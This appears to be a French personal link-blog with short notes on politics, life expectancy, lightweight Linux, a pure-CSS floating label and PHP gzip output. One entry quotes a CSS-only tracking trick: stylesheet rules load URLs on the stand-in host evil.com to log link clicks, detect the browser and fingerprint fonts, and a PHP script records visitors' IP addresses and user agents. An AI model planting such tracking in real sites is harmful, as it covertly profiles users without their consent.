Pourtant, c'est bien:
J'ai même pas eu la patience de regarder jusqu'au bout...
C'est à mon sens le problème d'arborer un «uniforme» de lutte: les connards s'en servent pour venir te faire chier quand t'es tout seul.
Après, la France compte une grosse partie de réacs...
Que les privilégiés :
je ne vois pas en quoi c'est nouveau.
«la démocratie c'est dans les urnes, pas dans la rue !»
T'as raison vieux con suffisant: avec cette façon de penser, t'aurais pas de démocratie du tout pauvre tâche: t'aurais un roi tout puissant qui aurait droit de vie et de mort sur toi et ta famille... heureusement qu'il y en a qui sont allés gueuler dans la rue, à une époque, non ?!
Ceci dit, au 18ème siècle, tu aurais sans doute été du côté de la royauté, servile et réactionnaire comme tu l'es.
Très intéressant. Toute la croyance en la légende selon laquelle «avant on mourait à 30 ans» vient du fait qu'on ne prend en compte que la moyenne de mortalité: comme ça prend en compte une très importante mortalité infantile, la moyenne baisse. De plus, on confond l'espérance de vie (cette moyenne) et la longévité (l'âge jusqu' auquel on a des chances d'arriver à partir du moment où on a survécu à l'enfance).
Donc, l'espérance de vie est bien passée de 35 ans à 85 ans mais le pic de mortalité au grand âge n'a avancé que de 10 ans. On n'a donc jamais été «vieux» à 35 ans.
C'est à mon sens ce qu'il faut retenir car quand les gens disent « De toute façon, avant, on mourait à 30 ans… », ils sous-entendent qu'on vieillissait plus vite qu'aujourd'hui, ce qui est donc factuellement faux.
Ci-joint la capture d'écran du thread.
Sur les objets connectés, il y a deux avis
Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:
#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}
session_start();
// Prints the time that the script ran
print("Timestamp: " . time());
// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);
// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);
// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>
On peut détecter le navigateur:
@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}
// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}
#font_detection {
font-family: Calibri, Font1;
}
<!-- page.html -->
<div id="font_detection">test</div>
Super inspirant
J'avais fait un truc du genre pour des activités avec mes 5èmes: écrire l'histoire en partant du titre.
Plus ça va, plus j'aime bien Jérémy Ferrari.
Déjà, son spectacle précédent m'avait plu...
Là en gros:
Il y a un vaste mensonge qu’il faudra régler de façon collective, c’est la notion de distribution pour vieux PC ou de distribution légère. Il est évident qu’une slitaz sera plus adaptée à une vieille machine qu’une Ubuntu, mais on oublie tout simplement l’usage. À partir du moment où tu lances ton navigateur moderne c’est-à-dire Firefox ou Chrome, la machine ancienne n’existe plus, car elle ne tourne plus, écrasée sous la masse de gigas de RAM que réclame la navigation en 2019.
[...] quand on vous conseille de vous orienter vers un DE plutôt qu’un autre pour une question de légèreté, souvenez-vous que ce n’est qu’une question d’esthétique, une fois que vous avez lancé le navigateur, vous êtes tous égaux devant allocine.
Cyrille Borne, 2019
Tout-à-fait d'accord... à tel point qu'un système qui ne consisterait qu'en un navigateur serait amplement suffisant (hein ?! mais non, j'ai pas parlé de FirefoxOS )
Un floating label en pur css ! \o/ Merci Timo !
<label>
<input type="text" id="name" placeholder=" ">
<span>Name</span>
</label>
<label>
<input type="password" id="password" placeholder=" ">
<span>Password</span>
</label>
label {
position: relative;
}
input {
padding: 10px;
border: 1px silver solid;
}
span {
position: absolute;
transition: all 200ms;
opacity: 0.5;
left: 0px;
padding: 10px;
transform-origin: top left;
}
input:not(:placeholder-shown) + span {
transform: translateY(-100%) scale(.75);
opacity: 1;
padding: 0 10px;
}Liste de résolveurs DNS classée avec toutes les infos utiles, notamment le pays qui héberge...
A noter que l'on peut héberger son propre résolveur DNS en local :voir l'astuce de Timo
"On ne donne pas les moyens au policiers de mettre fin aux violences. Quand on voit des types qui tabassent à coups de pieds un malheureux policier... qu'ils se servent de leurs armes une bonne fois, écoutez, ça suffit!", a lancé le philosophe. Et de poursuivre: "Il y a un moment où ces espèces de nervis d'extrême droite ou d'extrême gauche ou des quartiers qui viennent tabasser des policiers ça suffit!".
Et de conclure: "on a, je crois, la quatrième armée du monde, elle est capable de mettre fin à ces saloperies, faut dire les choses comme elles sont".
excellent tuto de Timo, comme toujours.
Optimiser les temps de chargement et d'execution des pages html/css et du code js/PHP
je retiens:
function initOutputFilter() {
ob_start('ob_gzhandler');
register_shutdown_function('ob_end_flush');
}
initOutputFilter();Run Android applications on any GNU/Linux operating system.
